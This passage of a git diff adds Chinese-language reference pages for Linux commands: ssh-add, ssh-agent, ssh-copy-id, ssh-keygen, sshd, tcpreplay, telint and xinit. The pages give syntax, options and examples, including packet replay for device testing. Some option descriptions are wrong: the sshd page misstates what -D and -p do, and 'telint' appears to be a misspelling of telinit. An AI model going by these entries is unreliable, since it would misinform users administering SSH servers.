+-x:对ssh-agent进行加锁 +``` + +### 实例 + +1、把专用密钥添加到 ssh-agent 的高速缓存中: + +``` +ssh-add ~/.ssh/id_dsa +``` + +2、从ssh-agent中删除密钥: + +``` +ssh-add -d ~/.ssh/id_xxx.pub +``` + +3、查看ssh-agent中的密钥: + +``` +ssh-add -l +``` + + + \ No newline at end of file diff --git a/command/ssh-agent.md b/command/ssh-agent.md new file mode 100644 index 0000000000..2147e58b62 --- /dev/null +++ b/command/ssh-agent.md @@ -0,0 +1,41 @@ +ssh-agent +=== + +ssh密钥管理器 + +## 补充说明 + +**ssh-agent命令** 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。 + +其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。 + +### 语法 + +``` +ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]] +ssh-agent [-c | -s] -k +``` + +### 选项 + +``` +-a bind_address:bind the agent to the UNIX-domain socket bind_address. +-c:生成C-shell风格的命令输出。 +-d:调试模式。 +-k:把ssh-agent进程杀掉。 +-s:生成Bourne shell 风格的命令输出。 +-t life:设置默认值添加到代理人的身份最大寿命。 +``` + +### 实例 + +运行ssh-agent: + +``` +ssh-agent +``` + +运行ssh-agent,它会打印出来它使用的环境和变量。 + + + \ No newline at end of file diff --git a/command/ssh-copy-id.md b/command/ssh-copy-id.md new file mode 100644 index 0000000000..ef86216f49 --- /dev/null +++ b/command/ssh-copy-id.md @@ -0,0 +1,32 @@ +ssh-copy-id +=== + +把本地的ssh公钥文件安装到远程主机对应的账户下 + +## 补充说明 + +**ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。 + +### 语法 + +``` +ssh-copy-id [-i [identity_file]] [user@]machine +``` + +### 选项 + +``` +-i:指定公钥文件 +``` + +### 实例 + +1、把本地的ssh公钥文件安装到远程主机对应的账户下: + +``` +ssh-copy-id user@server +ssh-copy-id -i ~/.ssh/id_rsa.pub user@server +``` + + + \ No newline at end of file diff --git a/command/ssh-keygen.md b/command/ssh-keygen.md new file mode 100644 index 0000000000..0e8a00af05 --- /dev/null +++ b/command/ssh-keygen.md @@ -0,0 +1,32 @@ +ssh-keygen +=== + +为ssh生成、管理和转换认证密钥 + +## 补充说明 + +**ssh-keygen命令** 用于为“ssh”生成、管理和转换认证密钥,它支持RSA和DSA两种认证密钥。 + +### 语法 + +``` +ssh-keygen(选项) +``` + +### 选项 + +``` +-b:指定密钥长度; +-e:读取openssh的私钥或者公钥文件; +-C:添加注释; +-f:指定用来保存密钥的文件名; +-i:读取未加密的ssh-v2兼容的私钥/公钥文件,然后在标准输出设备上显示openssh兼容的私钥/公钥; +-l:显示公钥文件的指纹数据; +-N:提供一个新密语; +-P:提供(旧)密语; +-q:静默模式; +-t:指定要创建的密钥类型。 +``` + + + \ No newline at end of file diff --git a/command/sshd.md b/command/sshd.md new file mode 100644 index 0000000000..a1562c05c3 --- /dev/null +++ b/command/sshd.md @@ -0,0 +1,34 @@ +sshd +=== + +openssh软件套件中的服务器守护进程 + +## 补充说明 + +**sshd命令** 是openssh软件套件中的服务器守护进程。 + +### 语法 + +``` +sshd(选项) +``` + +### 选项 + +``` +-4:强制使用IPv4地址; +-6:强制使用IPv6地址; +-D:以后台守护进程方式运行服务器; +-d:调试模式; +-e:将错误发送到标准错误设备,而不是将其发送到系统日志; +-f:指定服务器的配置文件; +-g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接; +-h:指定读取主机key文件; +-i:ssh以inetd方式运行; +-o:指定ssh的配置选项; +-p:静默模式,没有任何信息写入日志; +-t:测试模式。 +``` + + + \ No newline at end of file diff --git a/command/tcpreplay.md b/command/tcpreplay.md new file mode 100644 index 0000000000..d7f78aba9f --- /dev/null +++ b/command/tcpreplay.md @@ -0,0 +1,102 @@ +tcpreplay +=== + +将PCAP包重新发送,用于性能或者功能测试 + +## 补充说明 + +简单的说, **tcpreplay** 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。 + +### 选项 + +``` +-A "" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。 +-c 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 +-D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 +-e 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 +-f 指定配置文件。 +-F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。 +-h 显示帮助文件。 +-i 双网卡回放报文必选参数,指定主接口。 +-I 重写主网卡发送出报文的目的MAC地址。 +-j 双网卡回放报文必选参数,指定从接口。 +-J 重写从网卡发送出报文的目的MAC地址。 +-k 重写主网卡发送报文的源MAC地址。 +-K 重写从网卡发送报文的源MAC地址。 +-l 指定循环的次数。 +-L 指定最大的发包数量。可以在确认连接的调试时使用。 +-m 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。 +-M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。 +-n 在使用-S参数,不对混杂模式进行侦听。 +-N 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。 +-O 没有测试使用。 +-p 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。 +-P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。 +-r 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。 +-R 让网卡极限速度发数据包。 +-t 指定MTU,标准的10/100M网卡的默认值是1500。 +-T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。 +-v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。 +-V 查看版本号。 +-w 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。 + +``` + +### 实例 + + **1、重放在客户端 ftp 连接的报文 ** + +a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。 + +b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。 + +``` +[root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v +``` + +c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使用 tcpreplay 重 放报文。注意防火墙的配置为网桥(透明)模式。  + +``` +[root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R –v +``` + +-R 参数表示全速发送,-v 显示打印信息。  + + **2、重放在客户端 BT 连接的报文 ** + +a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。  + +b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。 + +``` + [root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v +``` + +制作 cache 文件,在 cache 文件中写入“100M BT Packet”的注释。  + +c、使用 tcpreplay 重放报文。  + +``` +[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R +``` + + **3、重放 tftp 服务器上抓到的报文 ** + +a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。  + +b、将 pcap 文件进行 tcpprep 的操作,制作 cache 文件。  + +``` +[root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache –v +``` + +注意:我在测试的时候犯了一个错误,使用 DUT 的 tftp 升级来做实验,同时穿 过 DUT 重放报文,结果在网卡发送报文的后,DUT 的 mac 地址做了的回应,导致 交互过程没有穿过 DUT,这个问题比较搞笑,上午弄了半天才发现原因,开始还 以为 udp 的连接不能重放。  + +c、使用 tcpreplay 重放报文。  + +``` +[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v +``` + + + \ No newline at end of file diff --git a/command/telint.md b/command/telint.md new file mode 100644 index 0000000000..e5bf4f21f3 --- /dev/null +++ b/command/telint.md @@ -0,0 +1,27 @@ +telint +=== + +切换当前正在运行系统的运行等级 + +## 补充说明 + +**telint命令** 用于切换当前正在运行的Linux系统的运行等级。 + +### 语法 + +``` +telint(选项)(参数) +``` + +### 选项 + +``` +-t:指定等待的秒数。 +``` + +### 参数 + +运行等级:指定要切换的运行等级。 + + + \ No newline at end of file diff --git a/command/xinit.md b/command/xinit.md new file mode 100644 index 0000000000..31d1e1b766 --- /dev/null +++ b/command/xinit.md @@ -0,0 +1,23 @@ +xinit +=== + +是Linux下X-Window系统的初始化程序 + +## 补充说明 + +**xinit命令** 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置。 + +### 语法 + +``` +xinit(参数) +``` + +### 参数 + +* 客户端选项:客户端指令及选项; +* --:用于区分客户端选项和服务器端选项; +* 服务器端选项:服务器端选项指令及选项。 + + + \ No newline at end of file